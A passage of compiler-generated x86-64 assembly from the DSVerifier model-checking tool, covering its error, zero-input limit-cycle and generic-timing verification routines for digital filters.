mov rax, QWORD PTR -992[rbp]
mov edx, DWORD PTR -1088[rbp]
movsx rdx, edx
pxor xmm0, xmm0
movsd QWORD PTR [rax+rdx*8], xmm0
mov rax, QWORD PTR -1072[rbp]
mov edx, DWORD PTR -1088[rbp]
movsx rdx, edx
mov rax, QWORD PTR [rax+rdx*8]
mov rdi, rax
call fxp_to_double
movq rax, xmm0
mov rdx, QWORD PTR -976[rbp]
mov ecx, DWORD PTR -1088[rbp]
movsx rcx, ecx
mov QWORD PTR [rdx+rcx*8], rax
add DWORD PTR -1088[rbp], 1
.L1073:
mov eax, DWORD PTR X_SIZE_VALUE[rip]
cmp DWORD PTR -1088[rbp], eax
jl .L1076
mov DWORD PTR -1088[rbp], 0
jmp .L1077
.L1082:
mov edx, DWORD PTR ds[rip+1608]
mov rax, QWORD PTR -1072[rbp]
mov ecx, DWORD PTR -1088[rbp]
movsx rcx, ecx
mov rax, QWORD PTR [rax+rcx*8]
mov rcx, QWORD PTR -944[rbp]
mov rsi, rcx
mov rdi, rax
call shiftL
mov r8d, DWORD PTR ds[rip+1608]
mov edi, DWORD PTR ds[rip+800]
mov rcx, QWORD PTR -1024[rbp]
mov rdx, QWORD PTR -1008[rbp]
mov rsi, QWORD PTR -944[rbp]
mov rax, QWORD PTR -960[rbp]
mov r9d, r8d
mov r8d, edi
mov rdi, rax
call fxp_direct_form_1
mov rdx, QWORD PTR -1056[rbp]
mov ecx, DWORD PTR -1088[rbp]
movsx rcx, ecx
mov QWORD PTR [rdx+rcx*8], rax
mov edx, DWORD PTR ds[rip+800]
mov rax, QWORD PTR -1056[rbp]
mov ecx, DWORD PTR -1088[rbp]
movsx rcx, ecx
mov rax, QWORD PTR [rax+rcx*8]
mov rcx, QWORD PTR -960[rbp]
mov rsi, rcx
mov rdi, rax
call shiftL
mov ecx, DWORD PTR ds[rip+1608]
mov rax, QWORD PTR -976[rbp]
mov edx, DWORD PTR -1088[rbp]
movsx rdx, edx
mov rax, QWORD PTR [rax+rdx*8]
mov rdx, QWORD PTR -896[rbp]
mov esi, ecx
mov rdi, rdx
movq xmm0, rax
call shiftLDouble
mov ecx, DWORD PTR ds[rip+1608]
mov edx, DWORD PTR ds[rip+800]
mov rsi, QWORD PTR -896[rbp]
mov rax, QWORD PTR -912[rbp]
mov r9d, ecx
mov r8d, edx
lea rcx, ds[rip+808]
lea rdx, ds[rip]
mov rdi, rax
call double_direct_form_1
movq rax, xmm0
mov rdx, QWORD PTR -992[rbp]
mov ecx, DWORD PTR -1088[rbp]
movsx rcx, ecx
mov QWORD PTR [rdx+rcx*8], rax
mov ecx, DWORD PTR ds[rip+800]
mov rax, QWORD PTR -992[rbp]
mov edx, DWORD PTR -1088[rbp]
movsx rdx, edx
mov rax, QWORD PTR [rax+rdx*8]
mov rdx, QWORD PTR -912[rbp]
mov esi, ecx
mov rdi, rdx
movq xmm0, rax
call shiftLDouble
mov rax, QWORD PTR -992[rbp]
mov edx, DWORD PTR -1088[rbp]
movsx rdx, edx
movsd xmm2, QWORD PTR [rax+rdx*8]
movsd QWORD PTR -1104[rbp], xmm2
mov rax, QWORD PTR -1056[rbp]
mov edx, DWORD PTR -1088[rbp]
movsx rdx, edx
mov rax, QWORD PTR [rax+rdx*8]
mov rdi, rax
call fxp_to_double
movapd xmm1, xmm0
movsd xmm0, QWORD PTR -1104[rbp]
subsd xmm0, xmm1
movsd QWORD PTR -872[rbp], xmm0
movsd xmm0, QWORD PTR impl[rip+48]
comisd xmm0, QWORD PTR -872[rbp]
jbe .L1078
movsd xmm0, QWORD PTR impl[rip+48]
movq xmm1, QWORD PTR .LC13[rip]
xorpd xmm1, xmm0
movsd xmm0, QWORD PTR -872[rbp]
comisd xmm0, xmm1
jbe .L1078
mov eax, 1
jmp .L1081
.L1078:
mov eax, 0
.L1081:
and eax, 1
movzx eax, al
mov edi, eax
call __DSVERIFIER_assert
add DWORD PTR -1088[rbp], 1
.L1077:
mov eax, DWORD PTR X_SIZE_VALUE[rip]
cmp DWORD PTR -1088[rbp], eax
jl .L1082
mov eax, 0
mov rsp, QWORD PTR -1288[rbp]
mov rbx, QWORD PTR -56[rbp]
sub rbx, QWORD PTR fs:40
je .L1084
call __stack_chk_fail@PLT
.L1084:
lea rsp, -40[rbp]
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE133:
.size verify_error, .-verify_error
.section .rodata
.align 8
.LC76:
.string "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
.align 8
.LC77:
.string "X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na"
.text
.globl verify_zero_input_limit_cycle
.type verify_zero_input_limit_cycle, @function
verify_zero_input_limit_cycle:
.LFB134:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r15
push r14
push r13
push r12
push rbx
sub rsp, 472
.cfi_offset 15, -24
.cfi_offset 14, -32
.cfi_offset 13, -40
.cfi_offset 12, -48
.cfi_offset 3, -56
mov rax, QWORD PTR fs:40
mov QWORD PTR -56[rbp], rax
xor eax, eax
mov rax, rsp
mov QWORD PTR -440[rbp], rax
mov DWORD PTR overflow_mode[rip], 3
mov eax, DWORD PTR ds[rip+800]
add eax, eax
mov DWORD PTR -228[rbp], eax
lea rdi, .LC75[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR X_SIZE_VALUE[rip]
cmp DWORD PTR -228[rbp], eax
jle .L1088
lea rcx, __PRETTY_FUNCTION__.7[rip]
mov edx, 23
lea rsi, .LC76[rip]
lea rdi, .LC77[rip]
call __assert_fail@PLT
.L1088:
mov edx, DWORD PTR ds[rip+800]
movsx rax, edx
sub rax, 1
mov QWORD PTR -168[rbp], rax
movsx rax, edx
mov r12, rax
mov r13d, 0
movsx rax, edx
mov r14, rax
mov r15d, 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1089:
cmp rsp, rcx
je .L1090
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1089
.L1090:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1091
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1091:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -176[rbp], rax
mov edx, DWORD PTR ds[rip+1608]
movsx rax, edx
sub rax, 1
mov QWORD PTR -184[rbp], rax
movsx rax, edx
mov QWORD PTR -256[rbp], rax
mov QWORD PTR -248[rbp], 0
movsx rax, edx
mov QWORD PTR -272[rbp], rax
mov QWORD PTR -264[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1092:
cmp rsp, rcx
je .L1093
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1092
.L1093:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1094
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1094:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -192[rbp], rax
mov edx, DWORD PTR ds[rip+800]
mov rax, QWORD PTR -176[rbp]
mov rsi, rax
lea rdi, ds[rip]
call fxp_double_to_fxp_array
mov edx, DWORD PTR ds[rip+1608]
mov rax, QWORD PTR -192[rbp]
mov rsi, rax
lea rdi, ds[rip+808]
call fxp_double_to_fxp_array
mov rax, QWORD PTR impl[rip+16]
movq xmm0, rax
call fxp_double_to_fxp
mov QWORD PTR -200[rbp], rax
mov rax, QWORD PTR impl[rip+8]
movq xmm0, rax
call fxp_double_to_fxp
mov QWORD PTR -208[rbp], rax
mov edx, DWORD PTR X_SIZE_VALUE[rip]
movsx rax, edx
sub rax, 1
mov QWORD PTR -216[rbp], rax
movsx rax, edx
mov QWORD PTR -288[rbp], rax
mov QWORD PTR -280[rbp], 0
movsx rax, edx
mov QWORD PTR -304[rbp], rax
mov QWORD PTR -296[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1095:
cmp rsp, rcx
je .L1096
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1095
.L1096:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1097
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1097:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -160[rbp], rax
mov edx, DWORD PTR X_SIZE_VALUE[rip]
movsx rax, edx
sub rax, 1
mov QWORD PTR -152[rbp], rax
movsx rax, edx
mov QWORD PTR -320[rbp], rax
mov QWORD PTR -312[rbp], 0
movsx rax, edx
mov QWORD PTR -336[rbp], rax
mov QWORD PTR -328[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1098:
cmp rsp, rcx
je .L1099
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1098
.L1099:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1100
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1100:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -144[rbp], rax
mov DWORD PTR -224[rbp], 0
jmp .L1101
.L1102:
mov rdx, QWORD PTR -160[rbp]
mov eax, DWORD PTR -224[rbp]
cdqe
mov QWORD PTR [rdx+rax*8], 0
mov rdx, QWORD PTR -144[rbp]
mov eax, DWORD PTR -224[rbp]
cdqe
mov QWORD PTR [rdx+rax*8], 0
add DWORD PTR -224[rbp], 1
.L1101:
mov eax, DWORD PTR X_SIZE_VALUE[rip]
cmp DWORD PTR -224[rbp], eax
jl .L1102
mov DWORD PTR -220[rbp], 0
mov edx, DWORD PTR ds[rip+1608]
mov eax, DWORD PTR ds[rip+800]
cmp edx, eax
cmovge eax, edx
mov DWORD PTR -220[rbp], eax
mov edx, DWORD PTR ds[rip+800]
mov rax, rsp
mov rbx, rax
movsx rax, edx
sub rax, 1
mov QWORD PTR -136[rbp], rax
movsx rax, edx
mov QWORD PTR -352[rbp], rax
mov QWORD PTR -344[rbp], 0
movsx rax, edx
mov QWORD PTR -368[rbp], rax
mov QWORD PTR -360[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1103:
cmp rsp, rcx
je .L1104
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1103
.L1104:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1105
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1105:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -128[rbp], rax
mov edx, DWORD PTR ds[rip+1608]
movsx rax, edx
sub rax, 1
mov QWORD PTR -120[rbp], rax
movsx rax, edx
mov QWORD PTR -384[rbp], rax
mov QWORD PTR -376[rbp], 0
movsx rax, edx
mov QWORD PTR -400[rbp], rax
mov QWORD PTR -392[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1106:
cmp rsp, rcx
je .L1107
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1106
.L1107:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1108
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1108:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -112[rbp], rax
mov edx, DWORD PTR -220[rbp]
movsx rax, edx
sub rax, 1
mov QWORD PTR -104[rbp], rax
movsx rax, edx
mov QWORD PTR -416[rbp], rax
mov QWORD PTR -408[rbp], 0
movsx rax, edx
mov QWORD PTR -432[rbp], rax
mov QWORD PTR -424[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1109:
cmp rsp, rdx
je .L1110
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1109
.L1110:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1111
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1111:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -96[rbp], rax
mov eax, DWORD PTR ds[rip+800]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -88[rbp], rdx
movsx rdx, eax
mov QWORD PTR -464[rbp], rdx
mov QWORD PTR -456[rbp], 0
movsx rdx, eax
mov QWORD PTR -480[rbp], rdx
mov QWORD PTR -472[rbp], 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1112:
cmp rsp, rdx
je .L1113
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1112
.L1113:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1114
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1114:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -80[rbp], rax
mov eax, DWORD PTR -220[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -72[rbp], rdx
movsx rdx, eax
mov QWORD PTR -496[rbp], rdx
mov QWORD PTR -488[rbp], 0
movsx rdx, eax
mov QWORD PTR -512[rbp], rdx
mov QWORD PTR -504[rbp], 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1115:
cmp rsp, rdx
je .L1116
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1115
.L1116:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1117
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1117:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -64[rbp], rax
mov DWORD PTR -224[rbp], 0
jmp .L1118
.L1121:
mov eax, 0
call nondet_int@PLT
movsx rcx, eax
mov rax, QWORD PTR -128[rbp]
mov edx, DWORD PTR -224[rbp]
movsx rdx, edx
mov QWORD PTR [rax+rdx*8], rcx
mov rax, QWORD PTR -128[rbp]
mov edx, DWORD PTR -224[rbp]
movsx rdx, edx
mov rax, QWORD PTR [rax+rdx*8]
cmp QWORD PTR -200[rbp], rax
jg .L1119
mov rax, QWORD PTR -128[rbp]
mov edx, DWORD PTR -224[rbp]
movsx rdx, edx
mov rax, QWORD PTR [rax+rdx*8]
cmp QWORD PTR -208[rbp], rax
jl .L1119
mov eax, 1
jmp .L1120
.L1119:
mov eax, 0
.L1120:
and eax, 1
movzx eax, al
mov edi, eax
call __DSVERIFIER_assume
mov rax, QWORD PTR -128[rbp]
mov edx, DWORD PTR -224[rbp]
movsx rdx, edx
mov rcx, QWORD PTR [rax+rdx*8]
mov rax, QWORD PTR -80[rbp]
mov edx, DWORD PTR -224[rbp]
movsx rdx, edx
mov QWORD PTR [rax+rdx*8], rcx
add DWORD PTR -224[rbp], 1
.L1118:
mov eax, DWORD PTR ds[rip+800]
cmp DWORD PTR -224[rbp], eax
jl .L1121
mov DWORD PTR -224[rbp], 0
jmp .L1122
.L1123:
mov rax, QWORD PTR -112[rbp]
mov edx, DWORD PTR -224[rbp]
movsx rdx, edx
mov QWORD PTR [rax+rdx*8], 0
add DWORD PTR -224[rbp], 1
.L1122:
mov eax, DWORD PTR ds[rip+1608]
cmp DWORD PTR -224[rbp], eax
jl .L1123
mov DWORD PTR -224[rbp], 0
jmp .L1124
.L1125:
mov edx, DWORD PTR ds[rip+1608]
mov rax, QWORD PTR -144[rbp]
mov ecx, DWORD PTR -224[rbp]
movsx rcx, ecx
mov rax, QWORD PTR [rax+rcx*8]
mov rcx, QWORD PTR -112[rbp]
mov rsi, rcx
mov rdi, rax
call shiftL
mov r8d, DWORD PTR ds[rip+1608]
mov edi, DWORD PTR ds[rip+800]
mov rcx, QWORD PTR -192[rbp]
mov rdx, QWORD PTR -176[rbp]
mov rsi, QWORD PTR -112[rbp]
mov rax, QWORD PTR -128[rbp]
mov r9d, r8d
mov r8d, edi
mov rdi, rax
call fxp_direct_form_1
mov rdx, QWORD PTR -160[rbp]
mov ecx, DWORD PTR -224[rbp]
movsx rcx, ecx
mov QWORD PTR [rdx+rcx*8], rax
mov edx, DWORD PTR ds[rip+800]
mov rax, QWORD PTR -160[rbp]
mov ecx, DWORD PTR -224[rbp]
movsx rcx, ecx
mov rax, QWORD PTR [rax+rcx*8]
mov rcx, QWORD PTR -128[rbp]
mov rsi, rcx
mov rdi, rax
call shiftL
add DWORD PTR -224[rbp], 1
.L1124:
mov eax, DWORD PTR X_SIZE_VALUE[rip]
cmp DWORD PTR -224[rbp], eax
jl .L1125
mov edx, DWORD PTR X_SIZE_VALUE[rip]
mov rax, QWORD PTR -160[rbp]
mov esi, edx
mov rdi, rax
call fxp_check_persistent_limit_cycle
mov eax, 0
mov rsp, rbx
mov rsp, QWORD PTR -440[rbp]
mov rbx, QWORD PTR -56[rbp]
sub rbx, QWORD PTR fs:40
je .L1127
call __stack_chk_fail@PLT
.L1127:
lea rsp, -40[rbp]
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE134:
.size verify_zero_input_limit_cycle, .-verify_zero_input_limit_cycle
.globl generic_timer
.bss
.align 4
.type generic_timer, @object
.size generic_timer, 4
generic_timer:
.zero 4
.section .rodata
.align 8
.LC78:
.string "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
.LC79:
.string "spent_time <= ds.sample_time"
.text
.globl verify_generic_timing
.type verify_generic_timing, @function
verify_generic_timing:
.LFB135:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r15
push r14
push r12
push rbx
sub rsp, 192
.cfi_offset 15, -24
.cfi_offset 14, -32
.cfi_offset 12, -40
.cfi_offset 3, -48
mov rax, QWORD PTR fs:40
mov QWORD PTR -40[rbp], rax
xor eax, eax
mov rax, rsp
mov r12, rax
mov edx, DWORD PTR X_SIZE_VALUE[rip]
movsx rax, edx
sub rax, 1
mov QWORD PTR -120[rbp], rax
movsx rax, edx
mov rcx, rax
mov ebx, 0
movsx rax, edx
mov rsi, rax
mov edi, 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1129:
cmp rsp, rcx
je .L1130
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1129
.L1130:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1131
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1131:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -128[rbp], rax
mov edx, DWORD PTR X_SIZE_VALUE[rip]
movsx rax, edx
sub rax, 1
mov QWORD PTR -136[rbp], rax
movsx rax, edx
mov r8, rax
mov r9d, 0
movsx rax, edx
mov r10, rax
mov r11d, 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1132:
cmp rsp, rcx
je .L1133
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1132
.L1133:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1134
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1134:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -112[rbp], rax
mov DWORD PTR -144[rbp], 0
jmp .L1135
.L1140:
mov rdx, QWORD PTR -128[rbp]
mov eax, DWORD PTR -144[rbp]
cdqe
pxor xmm0, xmm0
movsd QWORD PTR [rdx+rax*8], xmm0
mov eax, 0
call nondet_float@PLT
cvtss2sd xmm0, xmm0
mov rdx, QWORD PTR -112[rbp]
mov eax, DWORD PTR -144[rbp]
cdqe
movsd QWORD PTR [rdx+rax*8], xmm0
mov rdx, QWORD PTR -112[rbp]
mov eax, DWORD PTR -144[rbp]
cdqe
movsd xmm0, QWORD PTR [rdx+rax*8]
movsd xmm1, QWORD PTR impl[rip+16]
comisd xmm0, xmm1
jb .L1136
mov rdx, QWORD PTR -112[rbp]
mov eax, DWORD PTR -144[rbp]
cdqe
movsd xmm1, QWORD PTR [rdx+rax*8]
movsd xmm0, QWORD PTR impl[rip+8]
comisd xmm0, xmm1
jb .L1136
mov eax, 1
jmp .L1139
.L1136:
mov eax, 0
.L1139:
and eax, 1
movzx eax, al
mov edi, eax
call __DSVERIFIER_assume
add DWORD PTR -144[rbp], 1
.L1135:
mov eax, DWORD PTR X_SIZE_VALUE[rip]
cmp DWORD PTR -144[rbp], eax
jl .L1140
mov DWORD PTR -140[rbp], 0
mov edx, DWORD PTR ds[rip+1608]
mov eax, DWORD PTR ds[rip+800]
cmp edx, eax
cmovge eax, edx
mov DWORD PTR -140[rbp], eax
mov edx, DWORD PTR ds[rip+800]
mov rax, rsp
mov rbx, rax
movsx rax, edx
sub rax, 1
mov QWORD PTR -104[rbp], rax
movsx rax, edx
mov QWORD PTR -160[rbp], rax
mov QWORD PTR -152[rbp], 0
movsx rax, edx
mov QWORD PTR -176[rbp], rax
mov QWORD PTR -168[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1141:
cmp rsp, rdx
je .L1142
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1141
.L1142:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1143
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1143:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -96[rbp], rax
mov eax, DWORD PTR ds[rip+1608]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -88[rbp], rdx
movsx rdx, eax
mov QWORD PTR -192[rbp], rdx
mov QWORD PTR -184[rbp], 0
movsx rdx, eax
mov QWORD PTR -208[rbp], rdx
mov QWORD PTR -200[rbp], 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1144:
cmp rsp, rdx
je .L1145
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1144
.L1145:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1146
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1146:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -80[rbp], rax
mov eax, DWORD PTR -140[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -72[rbp], rdx
movsx rdx, eax
mov QWORD PTR -224[rbp], rdx
mov QWORD PTR -216[rbp], 0
movsx rdx, eax
mov r14, rdx
mov r15d, 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1147:
cmp rsp, rdx
je .L1148
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1147
.L1148:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1149
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1149:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -64[rbp], rax
mov DWORD PTR -144[rbp], 0
jmp .L1150
.L1151:
mov rax, QWORD PTR -96[rbp]
mov edx, DWORD PTR -144[rbp]
movsx rdx, edx
pxor xmm0, xmm0
movsd QWORD PTR [rax+rdx*8], xmm0
add DWORD PTR -144[rbp], 1
.L1150:
mov eax, DWORD PTR ds[rip+800]
cmp DWORD PTR -144[rbp], eax
jl .L1151
mov DWORD PTR -144[rbp], 0
jmp .L1152
.L1153:
mov rax, QWORD PTR -80[rbp]
mov edx, DWORD PTR -144[rbp]
movsx rdx, edx
pxor xmm0, xmm0
movsd QWORD PTR [rax+rdx*8], xmm0
add DWORD PTR -144[rbp], 1
.L1152:
mov eax, DWORD PTR ds[rip+1608]
cmp DWORD PTR -144[rbp], eax
jl .L1153
mov DWORD PTR -144[rbp], 0
jmp .L1154
.L1155:
mov rax, QWORD PTR -64[rbp]
mov edx, DWORD PTR -144[rbp]
movsx rdx, edx
pxor xmm0, xmm0
movsd QWORD PTR [rax+rdx*8], xmm0
add DWORD PTR -144[rbp], 1
.L1154:
mov eax, DWORD PTR -144[rbp]
cmp eax, DWORD PTR -140[rbp]
jl .L1155
mov eax, DWORD PTR hw[rip+44]
lea edx, [rax+rax]
mov eax, DWORD PTR hw[rip+80]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
mov eax, DWORD PTR generic_timer[rip]
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd QWORD PTR -56[rbp], xmm0
mov DWORD PTR -144[rbp], 0
jmp .L1156
.L1158:
mov eax, DWORD PTR hw[rip+48]
lea edx, [rax+rax]
mov eax, DWORD PTR hw[rip+76]
add edx, eax
mov eax, DWORD PTR hw[rip+44]
add eax, eax
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
mov eax, DWORD PTR hw[rip+48]
lea edx, [rax+rax]
mov eax, DWORD PTR hw[rip+132]
add edx, eax
mov eax, DWORD PTR hw[rip+104]
add edx, eax
mov eax, DWORD PTR hw[rip+128]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
mov ecx, DWORD PTR ds[rip+1608]
mov rax, QWORD PTR -112[rbp]
mov edx, DWORD PTR -144[rbp]
movsx rdx, edx
mov rax, QWORD PTR [rax+rdx*8]
mov rdx, QWORD PTR -80[rbp]
mov esi, ecx
mov rdi, rdx
movq xmm0, rax
call generic_timing_shift_l_double
mov ecx, DWORD PTR ds[rip+1608]
mov edx, DWORD PTR ds[rip+800]
mov rsi, QWORD PTR -80[rbp]
mov rax, QWORD PTR -96[rbp]
mov r9d, ecx
mov r8d, edx
lea rcx, ds[rip+808]
lea rdx, ds[rip]
mov rdi, rax
call generic_timing_double_direct_form_1
movq rax, xmm0
mov rdx, QWORD PTR -128[rbp]
mov ecx, DWORD PTR -144[rbp]
movsx rcx, ecx
mov QWORD PTR [rdx+rcx*8], rax
mov ecx, DWORD PTR ds[rip+800]
mov rax, QWORD PTR -128[rbp]
mov edx, DWORD PTR -144[rbp]
movsx rdx, edx
mov rax, QWORD PTR [rax+rdx*8]
mov rdx, QWORD PTR -96[rbp]
mov esi, ecx
mov rdi, rdx
movq xmm0, rax
call generic_timing_shift_l_double
mov eax, DWORD PTR generic_timer[rip]
